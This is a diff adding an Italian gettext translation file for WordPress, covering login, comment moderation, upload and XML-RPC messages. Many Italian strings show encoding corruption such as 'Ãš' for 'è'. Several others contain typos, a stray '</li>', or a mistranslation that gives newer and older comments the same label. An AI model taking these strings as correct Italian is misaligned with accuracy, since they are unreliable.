+#: wp-includes/link-template.php:1206
+msgid "Next Post"
+msgstr "Articolo successivo"
+
+#: wp-includes/link-template.php:1066
+msgid "First Post"
+msgstr "Primo articolo"
+
+#: wp-includes/link-template.php:1066
+msgid "Last Post"
+msgstr "Ultimo articolo"
+
+#: wp-includes/link-template.php:1548
+msgid "Newer Comments &raquo;"
+msgstr "Commenti precedenti &raquo;"
+
+#: wp-includes/link-template.php:1585
+msgid "&laquo; Older Comments"
+msgstr "&laquo; Commenti precedenti"
+
+#: wp-includes/locale.php:118
+msgid "S_Sunday_initial"
+msgstr "D"
+
+#: wp-includes/locale.php:119
+msgid "M_Monday_initial"
+msgstr "L"
+
+#: wp-includes/locale.php:120
+msgid "T_Tuesday_initial"
+msgstr "M"
+
+#: wp-includes/locale.php:121
+msgid "W_Wednesday_initial"
+msgstr "M"
+
+#: wp-includes/locale.php:122
+msgid "T_Thursday_initial"
+msgstr "G"
+
+#: wp-includes/locale.php:123
+msgid "F_Friday_initial"
+msgstr "V"
+
+#: wp-includes/locale.php:124
+msgid "S_Saturday_initial"
+msgstr "S"
+
+#: wp-includes/locale.php:173
+msgid "am"
+msgstr "am"
+
+#: wp-includes/locale.php:174
+msgid "pm"
+msgstr "pm"
+
+#: wp-includes/locale.php:175
+msgid "AM"
+msgstr "AM"
+
+#: wp-includes/locale.php:176
+msgid "PM"
+msgstr "PM"
+
+#. translators: $decimals argument for http://php.net/number_format, default is 0
+#: wp-includes/locale.php:182
+msgid "number_format_decimals"
+msgstr "0"
+
+#. translators: $dec_point argument for http://php.net/number_format, default is .
+#: wp-includes/locale.php:186
+msgid "number_format_decimal_point"
+msgstr ","
+
+#. translators: $thousands_sep argument for http://php.net/number_format, default is ,
+#: wp-includes/locale.php:190
+msgid "number_format_thousands_sep"
+msgstr "."
+
+#: wp-includes/media.php:372
+#: wp-includes/media.php:376
+#: wp-includes/media.php:382
+msgid "Resize path invalid"
+msgstr "Percorso di ridimensionamento non valido"
+
+#: wp-includes/pluggable.php:465
+msgid "<strong>ERROR</strong>: Invalid username or incorrect password."
+msgstr "<strong>ERRORE</strong>: nome utente non valido o password errata."
+
+#. translators: 1: post id, 2: post title
+#: wp-includes/pluggable.php:983
+#, php-format
+msgid "New comment on your post #%1$s \"%2$s\""
+msgstr "Nuovo commento all'articolo #%1$s \"%2$s\""
+
+#. translators: 1: comment author, 2: author IP, 3: author domain
+#: wp-includes/pluggable.php:985
+#: wp-includes/pluggable.php:1087
+#, php-format
+msgid "Author : %1$s (IP: %2$s , %3$s)"
+msgstr "Autore: %1$s (IP: %2$s , %3$s)"
+
+#: wp-includes/pluggable.php:986
+#: wp-includes/pluggable.php:1088
+#, php-format
+msgid "E-mail : %s"
+msgstr "E-mail: %s"
+
+#: wp-includes/pluggable.php:987
+#: wp-includes/pluggable.php:998
+#: wp-includes/pluggable.php:1008
+#: wp-includes/pluggable.php:1074
+#: wp-includes/pluggable.php:1081
+#: wp-includes/pluggable.php:1089
+#, php-format
+msgid "URL    : %s"
+msgstr "URL    : %s"
+
+#: wp-includes/pluggable.php:988
+#: wp-includes/pluggable.php:1090
+#, php-format
+msgid "Whois  : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s"
+msgstr "Whois  : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s"
+
+#: wp-includes/pluggable.php:989
+#: wp-includes/pluggable.php:1091
+msgid "Comment: "
+msgstr "Commento:"
+
+#: wp-includes/pluggable.php:990
+msgid "You can see all comments on this post here: "
+msgstr "Ã possibile vedere tutti i commenti a questo articolo qui:"
+
+#. translators: 1: blog name, 2: post title
+#: wp-includes/pluggable.php:992
+#, php-format
+msgid "[%1$s] Comment: \"%2$s\""
+msgstr "[%1$s] Commento: \"%2$s\""
+
+#. translators: 1: post id, 2: post title
+#: wp-includes/pluggable.php:995
+#, php-format
+msgid "New trackback on your post #%1$s \"%2$s\""
+msgstr "Nuovo trackback all&#8217;articolo #%1$s \"%2$s\""
+
+#. translators: 1: website name, 2: author IP, 3: author domain
+#. translators: 1: comment author, 2: author IP, 3: author domain
+#: wp-includes/pluggable.php:997
+#: wp-includes/pluggable.php:1007
+#, php-format
+msgid "Website: %1$s (IP: %2$s , %3$s)"
+msgstr "Sito web: %1$s (IP: %2$s , %3$s)"
+
+#: wp-includes/pluggable.php:999
+#: wp-includes/pluggable.php:1009
+msgid "Excerpt: "
+msgstr "Estratto:"
+
+#: wp-includes/pluggable.php:1000
+msgid "You can see all trackbacks on this post here: "
+msgstr "&Egrave; possibile visualizzare tutti i trackback a questo articolo qui: "
+
+#. translators: 1: blog name, 2: post title
+#: wp-includes/pluggable.php:1002
+#, php-format
+msgid "[%1$s] Trackback: \"%2$s\""
+msgstr "[%1$s] Trackback: \"%2$s\""
+
+#. translators: 1: post id, 2: post title
+#: wp-includes/pluggable.php:1005
+#, php-format
+msgid "New pingback on your post #%1$s \"%2$s\""
+msgstr "Nuovo pingback all&#8217;articolo #%1$s \"%2$s\""
+
+#: wp-includes/pluggable.php:1010
+msgid "You can see all pingbacks on this post here: "
+msgstr "&Egrave; possibile visualizzare tutti i pingback a questo articolo qui: "
+
+#. translators: 1: blog name, 2: post title
+#: wp-includes/pluggable.php:1012
+#, php-format
+msgid "[%1$s] Pingback: \"%2$s\""
+msgstr "[%1$s] Pingback: \"%2$s\""
+
+#: wp-includes/pluggable.php:1015
+#: wp-includes/pluggable.php:1096
+#, php-format
+msgid "Delete it: %s"
+msgstr "Cancella: %s"
+
+#: wp-includes/pluggable.php:1016
+#: wp-includes/pluggable.php:1097
+#, php-format
+msgid "Spam it: %s"
+msgstr "Marca come spam: %s"
+
+#: wp-includes/pluggable.php:1071
+#, php-format
+msgid "A new trackback on the post #%1$s \"%2$s\" is waiting for your approval"
+msgstr "Un nuovo trackback all&#8217;articolo #%1$s \"%2$s\" Ãš in attesa di approvazione"
+
+#: wp-includes/pluggable.php:1073
+#: wp-includes/pluggable.php:1080
+#, php-format
+msgid "Website : %1$s (IP: %2$s , %3$s)"
+msgstr "Sito web: %1$s (IP: %2$s , %3$s)"
+
+#: wp-includes/pluggable.php:1075
+msgid "Trackback excerpt: "
+msgstr "Estratto del trackback:"
+
+#: wp-includes/pluggable.php:1078
+#, php-format
+msgid "A new pingback on the post #%1$s \"%2$s\" is waiting for your approval"
+msgstr "Un nuovo pingback all&#8217;articolo #%1$s \"%2$s\" Ãš in attesa di approvazione"
+
+#: wp-includes/pluggable.php:1082
+msgid "Pingback excerpt: "
+msgstr "Riassunto pingback:"
+
+#: wp-includes/pluggable.php:1085
+#, php-format
+msgid "A new comment on the post #%1$s \"%2$s\" is waiting for your approval"
+msgstr "Un nuovo commento all'articolo #%1$s \"%2$s\" Ãš in attesa di approvazione"
+
+#: wp-includes/pluggable.php:1095
+#, php-format
+msgid "Approve it: %s"
+msgstr "Approvalo: %s"
+
+#: wp-includes/pluggable.php:1099
+#, php-format
+msgid "Currently %s comment is waiting for approval. Please visit the moderation panel:"
+msgid_plural "Currently %s comments are waiting for approval. Please visit the moderation panel:"
+msgstr[0] "Attualmente %s commento Ãš in attesa di approvazione. Visitare il pannello di moderazione:"
+msgstr[1] "Attualmente %s commenti sono in attesa di approvazione. Visita il pannello di moderazione:"
+
+#: wp-includes/pluggable.php:1103
+#, php-format
+msgid "[%1$s] Please moderate: \"%2$s\""
+msgstr "[%1$s] Applica la moderazione: \"%2$s\""
+
+#: wp-includes/pluggable.php:1129
+#, php-format
+msgid "Password Lost and Changed for user: %s"
+msgstr "La password smarrita Ãš stata cambiata per l&#8217;utente: %s"
+
+#: wp-includes/pluggable.php:1130
+#, php-format
+msgid "[%s] Password Lost/Changed"
+msgstr "[%s] Password smarrita/modificata"
+
+#: wp-includes/pluggable.php:1150
+#, php-format
+msgid "New user registration on your blog %s:"
+msgstr "Nuovo utente registrato sul tuo blog %s:"
+
+#: wp-includes/pluggable.php:1151
+#: wp-includes/pluggable.php:1159
+#: wp-login.php:162
+#: wp-login.php:204
+#, php-format
+msgid "Username: %s"
+msgstr "Nome utente: %s"
+
+#: wp-includes/pluggable.php:1152
+#, php-format
+msgid "E-mail: %s"
+msgstr "E-mail: %s"
+
+#: wp-includes/pluggable.php:1154
+#, php-format
+msgid "[%s] New User Registration"
+msgstr "[%s] Registrazione di un nuovo utente"
+
+#: wp-includes/pluggable.php:1160
+#: wp-login.php:205
+#, php-format
+msgid "Password: %s"
+msgstr "Password: %s"
+
+#: wp-includes/pluggable.php:1163
+#, php-format
+msgid "[%s] Your username and password"
+msgstr "[%s] Il proprio nome utente e password"
+
+#: wp-includes/post-template.php:113
+#, php-format
+msgid "Protected: %s"
+msgstr "Protetto: %s"
+
+#: wp-includes/post-template.php:116
+#, php-format
+msgid "Private: %s"
+msgstr "Privato: %s"
+
+#: wp-includes/post-template.php:260
+msgid "There is no excerpt because this is a protected post."
+msgstr "Non vi Ãš alcun riassunto in quanto si tratta di un articolo protetto."
+
+#: wp-includes/post-template.php:565
+msgid "Next page"
+msgstr "Pagina successiva"
+
+#: wp-includes/post-template.php:566
+msgid "Previous page"
+msgstr "Pagina precedente"
+
+#: wp-includes/post-template.php:820
+msgid "Home"
+msgstr "Home"
+
+#: wp-includes/post-template.php:930
+#: wp-includes/post-template.php:967
+msgid "Missing Attachment"
+msgstr "Allegato mancante"
+
+#: wp-includes/post-template.php:1141
+msgid "This post is password protected. To view it please enter your password below:"
+msgstr "Questo post Ãš protetto da password. Per leggerlo inserire la password qui sotto:"
+
+#. translators: revision date format, see http://php.net/date
+#: wp-includes/post-template.php:1205
+msgctxt "revision date format"
+msgid "j F, Y @ G:i"
+msgstr "j F Y @ H:i"
+
+#. translators: 1: date
+#: wp-includes/post-template.php:1207
+#, php-format
+msgid "%1$s [Autosave]"
+msgstr "%1$s [Salvataggio automatico]"
+
+#. translators: 1: date
+#: wp-includes/post-template.php:1209
+#, php-format
+msgid "%1$s [Current Revision]"
+msgstr "%1$s [Revisione corrente]"
+
+#. translators: post revision: 1: when, 2: author name
+#: wp-includes/post-template.php:1275
+#, php-format
+msgctxt "post revision"
+msgid "%1$s by %2$s"
+msgstr "%1$s di %2$s"
+
+#: wp-includes/post-template.php:1302
+msgid "Restore"
+msgstr "Ripristina"
+
+#: wp-includes/post-template.php:1324
+msgid "Compare Revisions"
+msgstr "Compara le revisioni"
+
+#: wp-includes/post-template.php:1339
+msgid "Date Created"
+msgstr "Data creazione"
+
+#: wp-includes/post.php:1403
+msgid "Content, title, and excerpt are empty."
+msgstr "Contenuto, titolo e riassunto sono vuoti."
+
+#: wp-includes/post.php:1528
+msgid "Could not update post in the database"
+msgstr "Impossibile aggiornare l&#8217;articolo nel database"
+
+#: wp-includes/post.php:1544
+msgid "Could not insert post into the database"
+msgstr "Impossibile inserire l&#8217;articolo nel database"
+
+#: wp-includes/post.php:1588
+msgid "The page template is invalid."
+msgstr "Il template di pagina non Ãš valido."
+
+#: wp-includes/post.php:3617
+msgid "Cannot create a revision of a revision"
+msgstr "Impossibile creare una revisione di una revisione"
+
+#: wp-includes/post.php:3793
+msgid "You do not have permission to preview drafts."
+msgstr "Non si dispone del permesso di visualizzare le bozze."
+
+#: wp-includes/rss.php:883
+msgid "An error has occurred, which probably means the feed is down. Try again later."
+msgstr "Si Ãš verificato un errore; probabilmente il feed non Ãš attivo. Riprovare piÃ¹ tardi.</li>"
+
+#: wp-includes/script-loader.php:66
+msgid ""
+"You are about to delete the selected items.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si stanno per cancellare gli elementi selezionati'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-includes/script-loader.php:75
+msgid "(Quick Links)"
+msgstr "(Links Veloci)"
+
+#: wp-includes/script-loader.php:76
+msgid "Enter a word to look up:"
+msgstr "Insrisci una parola da cercare:"
+
+#: wp-includes/script-loader.php:77
+msgid "Dictionary lookup"
+msgstr "Ricerca nel dizionario"
+
+#: wp-includes/script-loader.php:78
+msgid "lookup"
+msgstr "ricerca"
+
+#: wp-includes/script-loader.php:79
+msgid "Close all open tags"
+msgstr "Chiudi tutti i tags aperti"
+
+#: wp-includes/script-loader.php:80
+msgid "close tags"
+msgstr "chiudi tag"
+
+#: wp-includes/script-loader.php:81
+msgid "Enter the URL"
+msgstr "Inserisci l'URL"
+
+#: wp-includes/script-loader.php:82
+msgid "Enter the URL of the image"
+msgstr "Inserisci l'URL dell'immagine"
+
+#: wp-includes/script-loader.php:83
+msgid "Enter a description of the image"
+msgstr "Inserisci una descrizione per l'immagine"
+
+#: wp-includes/script-loader.php:96
+msgid "You do not have permission to do that."
+msgstr "Non si dispone del permesso per fare questo."
+
+#: wp-includes/script-loader.php:97
+msgid "An unidentified error has occurred."
+msgstr "Si Ãš verificato un errore non identificato."
+
+#: wp-includes/script-loader.php:189
+msgid "You have attempted to queue too many files."
+msgstr "Si Ãš tentato di accodare troppi file."
+
+#: wp-includes/script-loader.php:190
+#, php-format
+msgid "This file is too big. Your php.ini upload_max_filesize is %s."
+msgstr "Il file Ãš troppo grande. Il parametro upload_max_filesize in php.ini Ãš %s."
+
+#: wp-includes/script-loader.php:191
+msgid "This file is empty. Please try another."
+msgstr "Questo file Ãš vuoto. Provare con un altro file."
+
+#: wp-includes/script-loader.php:192
+msgid "This file type is not allowed. Please try another."
+msgstr "Questo tipo di file non Ãš permesso. Provare con un altro file."
+
+#: wp-includes/script-loader.php:193
+msgid "An error occurred in the upload. Please try again later."
+msgstr "Si Ãš verificato un errore durante il caricamento. Riprovare piÃ¹ tardi."
+
+#: wp-includes/script-loader.php:194
+msgid "There was a configuration error. Please contact the server administrator."
+msgstr "Si Ãš verificato un errore di configurazione. Conttattare l&#8217;amministratore del server."
+
+#: wp-includes/script-loader.php:195
+msgid "You may only upload 1 file."
+msgstr "&Egrave; possibile caricare un solo file."
+
+#: wp-includes/script-loader.php:196
+msgid "HTTP error."
+msgstr "Errore HTTP."
+
+#: wp-includes/script-loader.php:197
+msgid "Upload failed."
+msgstr "Caricamento fallito."
+
+#: wp-includes/script-loader.php:198
+msgid "IO error."
+msgstr "Errore di IO."
+
+#: wp-includes/script-loader.php:199
+msgid "Security error."
+msgstr "Errore di sicurezza."
+
+#: wp-includes/script-loader.php:200
+msgid "File cancelled."
+msgstr "File cancellato."
+
+#: wp-includes/script-loader.php:201
+msgid "Upload stopped."
+msgstr "Caricamento interrotto."
+
+#: wp-includes/script-loader.php:202
+msgid "Dismiss"
+msgstr "Rimuovi"
+
+#: wp-includes/script-loader.php:203
+msgid "Crunching&hellip;"
+msgstr "Elaborazione&hellip;"
+
+#: wp-includes/script-loader.php:204
+msgid "Deleted"
+msgstr "Cancellato"
+
+#: wp-includes/script-loader.php:215
+msgid "Separate multiple categories with commas."
+msgstr "Separare piÃ¹ categorie con virgole."
+
+#: wp-includes/script-loader.php:232
+msgid "Very weak"
+msgstr "Molto debole"
+
+#: wp-includes/script-loader.php:233
+msgid "Weak"
+msgstr "Debole"
+
+#. translators: password strength
+#: wp-includes/script-loader.php:235
+msgctxt "password strength"
+msgid "Medium"
+msgstr "Media"
+
+#: wp-includes/script-loader.php:236
+msgid "Strong"
+msgstr "Forte"
+
+#: wp-includes/script-loader.php:270
+msgid "Tags used on this post:"
+msgstr "Tag utilizzati nell'articolo:"
+
+#: wp-includes/script-loader.php:276
+#: wp-includes/script-loader.php:300
+msgid "Publish on:"
+msgstr "Pubblica il:"
+
+#: wp-includes/script-loader.php:277
+#: wp-includes/script-loader.php:301
+msgid "Schedule for:"
+msgstr "Programmato per:"
+
+#: wp-includes/script-loader.php:278
+#: wp-includes/script-loader.php:302
+msgid "Published on:"
+msgstr "Pubblicato il:"
+
+#: wp-includes/script-loader.php:279
+#: wp-includes/script-loader.php:303
+msgid "Show more comments"
+msgstr "Mostra altri commenti"
+
+#: wp-includes/script-loader.php:280
+#: wp-includes/script-loader.php:304
+msgid "No more comments found."
+msgstr "Nessun altro commento trovato."
+
+#: wp-includes/script-loader.php:289
+#: wp-includes/script-loader.php:312
+msgid "Password Protected"
+msgstr "Protetto da password"
+
+#: wp-includes/script-loader.php:326
+msgid "Submitted on:"
+msgstr "Inviato il:"
+
+#: wp-includes/script-loader.php:341
+#, php-format
+msgid "Word count: %d"
+msgstr "Conteggio parole: %d"
+
+#: wp-includes/script-loader.php:347
+msgid "Update completed."
+msgstr "Aggiornamento completato."
+
+#: wp-includes/script-loader.php:348
+msgid "Error:"
+msgstr "Errore:"
+
+#: wp-includes/script-loader.php:358
+#: wp-includes/script-loader.php:367
+msgid "Error while saving the changes."
+msgstr "Errore nel salvataggio delle modifiche."
+
+#: wp-includes/script-loader.php:359
+msgid "Remove From Bulk Edit"
+msgstr "Rimuovi dalla modifica di massa"
+
+#: wp-includes/script-loader.php:374
+msgid "Plugin Information:"
+msgstr "Informazioni sul plugin:"
+
+#: wp-includes/script-loader.php:495
+msgid "Preview this Page"
+msgstr "Anteprima pagina"
+
+#: wp-includes/script-loader.php:496
+msgid "Preview this Post"
+msgstr "Anteprima Articolo"
+
+#: wp-includes/script-loader.php:498
+msgid "Saving Draft&#8230;"
+msgstr "Salvataggio bozza&#8230;"
+
+#: wp-includes/taxonomy.php:240
+#: wp-includes/taxonomy.php:311
+#: wp-includes/taxonomy.php:433
+#: wp-includes/taxonomy.php:617
+#: wp-includes/taxonomy.php:1212
+#: wp-includes/taxonomy.php:1452
+msgid "Invalid Taxonomy"
+msgstr "Tassonomia non valida"
+
+#: wp-includes/taxonomy.php:306
+msgid "Empty Term"
+msgstr "Termine vuoto"
+
+#: wp-includes/taxonomy.php:1352
+msgid "Invalid term ID"
+msgstr "ID termine non valido."
+
+#: wp-includes/taxonomy.php:1355
+#: wp-includes/taxonomy.php:1633
+msgid "A name is required for this term"
+msgstr "&Egrave; richiesto un nome per questo termine"
+
+#: wp-includes/taxonomy.php:1386
+#: wp-includes/taxonomy.php:1393
+msgid "Could not insert term into the database"
+msgstr "Impossibile inserire il termine nel database"
+
+#: wp-includes/taxonomy.php:1661
+#, php-format
+msgid "The slug &#8220;%s&#8221; is already in use by another term"
+msgstr "L&#8217;abbreviazione &#8220;%s&#8221; Ãš giÃ  in uso da parte di un altro termine"
+
+#: wp-includes/taxonomy.php:2320
+msgid "Invalid object ID"
+msgstr "ID oggetto non valido."
+
+#: wp-includes/theme.php:302
+msgid "Stylesheet is missing."
+msgstr "Foglio di stile mancante."
+
+#: wp-includes/theme.php:316
+msgid "File not readable."
+msgstr "Il file non Ãš leggibile."
+
+#: wp-includes/theme.php:357
+msgid "Template is missing."
+msgstr "Template mancante."
+
+#: wp-includes/user.php:78
+msgid "<strong>ERROR</strong>: The username field is empty."
+msgstr "<strong>ERRORE</strong>: il campo nome utente Ãš vuoto."
+
+#: wp-includes/user.php:81
+msgid "<strong>ERROR</strong>: The password field is empty."
+msgstr "<strong>ERRORE</strong>: il campo password Ãš vuoto."
+
+#: wp-includes/user.php:89
+#, php-format
+msgid "<strong>ERROR</strong>: Invalid username. <a href=\"%s\" title=\"Password Lost and Found\">Lost your password</a>?"
+msgstr "<strong>ERRORE</strong>: nome utente non valido. <a href=\"%s\" title=\"Recupero password persa\">Si Ãš persa la password</a>?"
+
+#: wp-includes/user.php:98
+#, php-format
+msgid "<strong>ERROR</strong>: Incorrect password. <a href=\"%s\" title=\"Password Lost and Found\">Lost your password</a>?"
+msgstr "<strong>ERRORE</strong>: password non corretta. <a href=\"%s\" title=\"Recupero password persa\">Si Ãš persa la password</a>?"
+
+#: wp-includes/user.php:124
+msgid "Please log in again."
+msgstr "Effettuare nuovamente il login."
+
+#: wp-includes/widgets.php:483
+#: wp-includes/widgets.php:545
+#, php-format
+msgid "Sidebar %d"
+msgstr "Barra laterale %d"
+
+#: wp-includes/wp-db.php:1026
+#, php-format
+msgid "<strong>ERROR</strong>: WordPress %s requires MySQL 4.0.0 or higher"
+msgstr "<strong>ERRORE</strong>: WordPress %s richiede MySQL 4.0.0 o superiore"
+
+#: wp-login.php:74
+msgid "Powered by WordPress"
+msgstr "Utilizza WordPress"
+
+#: wp-login.php:117
+msgid "<strong>ERROR</strong>: Enter a username or e-mail address."
+msgstr "<strong>ERRORE</strong>: Inserisci un nome utente o un indirizzo e-mail."
+
+#: wp-login.php:122
+msgid "<strong>ERROR</strong>: There is no user registered with that email address."
+msgstr "<strong>ERRORE</strong>: Non vi sono utenti registrati con questo indirizzo email."
+
+#: wp-login.php:134
+msgid "<strong>ERROR</strong>: Invalid username or e-mail."
+msgstr "<strong>ERRORE</strong>: nome utente o e-mail non validi."
+
+#: wp-login.php:148
+msgid "Password reset is not allowed for this user"
+msgstr "L'azzeramento della password non Ãš consentito per questo utente."
+
+#: wp-login.php:160
+msgid "Someone has asked to reset the password for the following site and username."
+msgstr "Qualcuno ha richiesto l&#8217;azzeramento delle password per il seguente sito e nome utente."
+
+#: wp-login.php:163
+msgid "To reset your password visit the following address, otherwise just ignore this email and nothing will happen."
+msgstr "Per reimpostare la propria password visitare il seguente indirizzo, altrimenti ignorare questa e-mail e non accadrÃ  nulla."
+
+#: wp-login.php:166
+#, php-format
+msgid "[%s] Password Reset"
+msgstr "[%s] Password azzerata"
+
+#: wp-login.php:172
+#: wp-login.php:214
+msgid "The e-mail could not be sent."
+msgstr "Impossibile inviare la mail."
+
+#: wp-login.php:172
+#: wp-login.php:214
+msgid "Possible reason: your host may have disabled the mail() function..."
+msgstr "Possibile motivo: il tuo host potrebbe avere disabilitato la funzione mail()..."
+
+#: wp-login.php:191
+#: wp-login.php:195
+msgid "Invalid key"
+msgstr "Chiave non valida"
+
+#: wp-login.php:208
+#, php-format
+msgid "[%s] Your new password"
+msgstr "[%s] la tua nuova password"
+
+#: wp-login.php:238
+msgid "<strong>ERROR</strong>: This username is invalid.  Please enter a valid username."
+msgstr "<strong>ERRORE</strong>: questo nome utente non Ãš valido. Immettere un nome utente valido."
+
+#: wp-login.php:241
+msgid "<strong>ERROR</strong>: This username is already registered, please choose another one."
+msgstr "<strong>ERRORE</strong>: questo nome utente Ãš giÃ  registrato, Scegliere un diverso nome utente."
+
+#: wp-login.php:245
+msgid "<strong>ERROR</strong>: Please type your e-mail address."
+msgstr "<strong>ERRORE</strong>: Digitare il proprio indirizzo e-mail."
+
+#: wp-login.php:247
+msgid "<strong>ERROR</strong>: The email address isn&#8217;t correct."
+msgstr "<strong>ERRORE</strong>: l&#8217;indirizzo e-mail non Ãš corretto."
+
+#: wp-login.php:262
+#, php-format
+msgid "<strong>ERROR</strong>: Couldn&#8217;t register you... please contact the <a href=\"mailto:%s\">webmaster</a> !"
+msgstr "<strong>ERRORE/strong>: impossibile effettuare la registrazione... contattare il <a href=\"mailto:%s\">webmaster</a> !"
+
+#: wp-login.php:332
+msgid "Sorry, that key does not appear to be valid."
+msgstr "Questa chiave non appare valida."
+
+#: wp-login.php:335
+msgid "Lost Password"
+msgstr "Password smarrita"
+
+#: wp-login.php:335
+msgid "Please enter your username or e-mail address. You will receive a new password via e-mail."
+msgstr "Inserisci il proprio nome utente o il proprio indirizzo e-mail. Si riceverÃ  una nuova password tramite e-mail."
+
+#: wp-login.php:343
+msgid "Username or E-mail:"
+msgstr "Nome utente o E-mail:"
+
+#: wp-login.php:347
+msgid "Get New Password"
+msgstr "Ottieni una nuova password"
+
+#: wp-login.php:361
+#: wp-login.php:430
+#: wp-login.php:533
+msgid "Are you lost?"
+msgstr "Persi?"
+
+#: wp-login.php:361
+#: wp-login.php:430
+#: wp-login.php:533
+#, php-format
+msgid "&larr; Back to %s"
+msgstr "&larr; Torna a %s"
+
+#: wp-login.php:405
+msgid "Registration Form"
+msgstr "Modulo di registrazione"
+
+#: wp-login.php:405
+msgid "Register For This Site"
+msgstr "Registrazione per questo sito"
+
+#: wp-login.php:418
+msgid "A password will be e-mailed to you."
+msgstr "VerrÃ  spedita una password via e-mail."
+
+#: wp-login.php:425
+#: wp-login.php:525
+#: wp-login.php:527
+msgid "Password Lost and Found"
+msgstr "Password smarrita e ritrovata"
+
+#: wp-login.php:425
+#: wp-login.php:525
+#: wp-login.php:527
+msgid "Lost your password?"
+msgstr "Si Ãš smarrita la propria password?"
+
+#: wp-login.php:486
+msgid "<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href='http://www.google.com/cookies.html'>enable cookies</a> to use WordPress."
+msgstr "<strong>ERRORE</strong>: Sembra che il vostro browser non supporti o blocchi i cookie. Occorre <a href='http://www.google.com/cookies.html'>abilitare i cookie</a> per utilizzare WordPress."
+
+#: wp-login.php:489
+msgid "You are now logged out."
+msgstr "Si Ãš effettuato il log out."
+
+#: wp-login.php:490
+msgid "User registration is currently not allowed."
+msgstr "La registrazione degli utenti non Ãš al momento permessa."
+
+#: wp-login.php:491
+msgid "Check your e-mail for the confirmation link."
+msgstr "Controlla la tua mail per il link di conferma."
+
+#: wp-login.php:492
+msgid "Check your e-mail for your new password."
+msgstr "Controlla la tua mail per la nuova password."
+
+#: wp-login.php:493
+msgid "Registration complete. Please check your e-mail."
+msgstr "Registrazione completata. Verifica la tue e-mail."
+
+#: wp-login.php:512
+msgid "Remember Me"
+msgstr "Ricordami"
+
+#: wp-mail.php:26
+msgid "There doesn&#8217;t seem to be any new mail."
+msgstr "Pare non vi sia alcuna nuova mail."
+
+#: wp-mail.php:92
+#, php-format
+msgid "Author is %s"
+msgstr "L'autore Ãš %s"
+
+#: wp-mail.php:198
+#, php-format
+msgid "<strong>Author:</strong> %s"
+msgstr "<strong>Autore:</strong> %s"
+
+#: wp-mail.php:199
+#, php-format
+msgid "<strong>Posted title:</strong> %s"
+msgstr "<strong>Titolo di pubblicazione:</strong> %s"
+
+#: wp-mail.php:202
+#, php-format
+msgid "Oops: %s"
+msgstr "Oops: %s"
+
+#: wp-mail.php:206
+#, php-format
+msgid "Mission complete.  Message <strong>%s</strong> deleted."
+msgstr "Missione completata.  Cancellato il messaggio <strong>%s</strong>."
+
+#: xmlrpc.php:246
+#: xmlrpc.php:268
+#, php-format
+msgid "XML-RPC services are disabled on this blog.  An admin user can enable them at %s"
+msgstr "I servizi XML-RPC sono disabilitati su questo blog. Un amministratore puÃ² abilitarli su %s"
+
+#: xmlrpc.php:251
+#: xmlrpc.php:275
+msgid "Bad login/pass combination."
+msgstr "Username e/o password errata."
+
+#: xmlrpc.php:382
+msgid "Software Name"
+msgstr "Nome software"
+
+#: xmlrpc.php:387
+msgid "Software Version"
+msgstr "Versione software"
+
+#: xmlrpc.php:399
+msgid "Time Zone"
+msgstr "Fuso orario"
+
+#: xmlrpc.php:409
+msgid "Blog Tagline"
+msgstr "Motto del blog"
+
+#: xmlrpc.php:501
+msgid "Sorry, you cannot edit this page."
+msgstr "Non Ãš possibile modificare questa pagina."
+
+#: xmlrpc.php:573
+#: xmlrpc.php:691
+#: xmlrpc.php:737
+msgid "Sorry, no such page."
+msgstr "Questa pagina non esiste."
+
+#: xmlrpc.php:598
+#: xmlrpc.php:783
+msgid "Sorry, you cannot edit pages."
+msgstr "Non Ãš possibile modificare le pagine."
+
+#: xmlrpc.php:652
+msgid "Sorry, you cannot add new pages."
+msgstr "Non Ãš possibile aggiungere nuove pagine."
+
+#: xmlrpc.php:696
+msgid "Sorry, you do not have the right to delete this page."
+msgstr "Non non si dispone dei permessi per cancellare questa pagina."
+
+#: xmlrpc.php:702
+msgid "Failed to delete the page."
+msgstr "Impossibile cancellare la pagina."
+
+#: xmlrpc.php:742
+msgid "Sorry, you do not have the right to edit this page."
+msgstr "Non si dispone del permesso per modificare questa pagina."
+
+#: xmlrpc.php:836
+msgid "Sorry, you cannot edit posts on this blog."
+msgstr "Non Ãš possibile modificare gli articoli di questo blog."
+
+#: xmlrpc.php:873
+msgid "Sorry, you must be able to edit posts on this blog in order to view tags."
+msgstr "Occorre avere la possibilitÃ  di modificare gli articoli di questo blog per poter visualizzare i tag."
+
+#: xmlrpc.php:920
+msgid "Sorry, you do not have the right to add a category."
+msgstr "Non si dispone dei permessi per aggiungere una categoria."
+
+#: xmlrpc.php:948
+msgid "Sorry, the new category failed."
+msgstr "L&#8217;inserimento di una nuova categoria Ãš fallito."
+
+#: xmlrpc.php:977
+msgid "Sorry, you do not have the right to delete a category."
+msgstr "Non si dispone dei permessi per cancellare una categoria."
+
+#: xmlrpc.php:1005
+msgid "Sorry, you must be able to edit posts to this blog in order to view categories."
+msgstr "Occorre disporre della possibilitÃ  di modificare gli articoli di questo blog per poter visualizzare le categorie."
+
+#: xmlrpc.php:1042
+#: xmlrpc.php:1165
+#: xmlrpc.php:1197
+msgid "You are not allowed to moderate comments on this blog."
+msgstr "Non si dispone del permesso per moderare i commenti di questo blog."
+
+#: xmlrpc.php:1047
+#: xmlrpc.php:1170
+#: xmlrpc.php:1202
+msgid "Invalid comment ID."
+msgstr "ID commento non valido."
+
+#: xmlrpc.php:1105
+msgid "Sorry, you cannot edit comments."
+msgstr "Non Ãš possibile modificare i commenti."
+
+#: xmlrpc.php:1209
+msgid "Invalid comment status."
+msgstr "Stato del commento non valido."
+
+#: xmlrpc.php:1240
+msgid "Sorry, the comment could not be edited. Something wrong happened."
+msgstr "Il commento non puÃ² venir modificato. &Egrave; accaduto qualche cosa di grave."
+
+#: xmlrpc.php:1271
+msgid "You must be registered to comment"
+msgstr "Occorre essere registrati per poter inviare commenti"
+
+#: xmlrpc.php:1284
+#: xmlrpc.php:1287
+#: xmlrpc.php:2337
+msgid "Invalid post ID."
+msgstr "ID articolo non valido"
+
+#: xmlrpc.php:1313
+msgid "Comment author name and email are required"
+msgstr "SOno richiesti il nome e l'email dell'autore del commento"
+
+#: xmlrpc.php:1315
+msgid "A valid email address is required"
+msgstr "&Egrave richiesto un indirizzo email valido"
+
+#: xmlrpc.php:1348
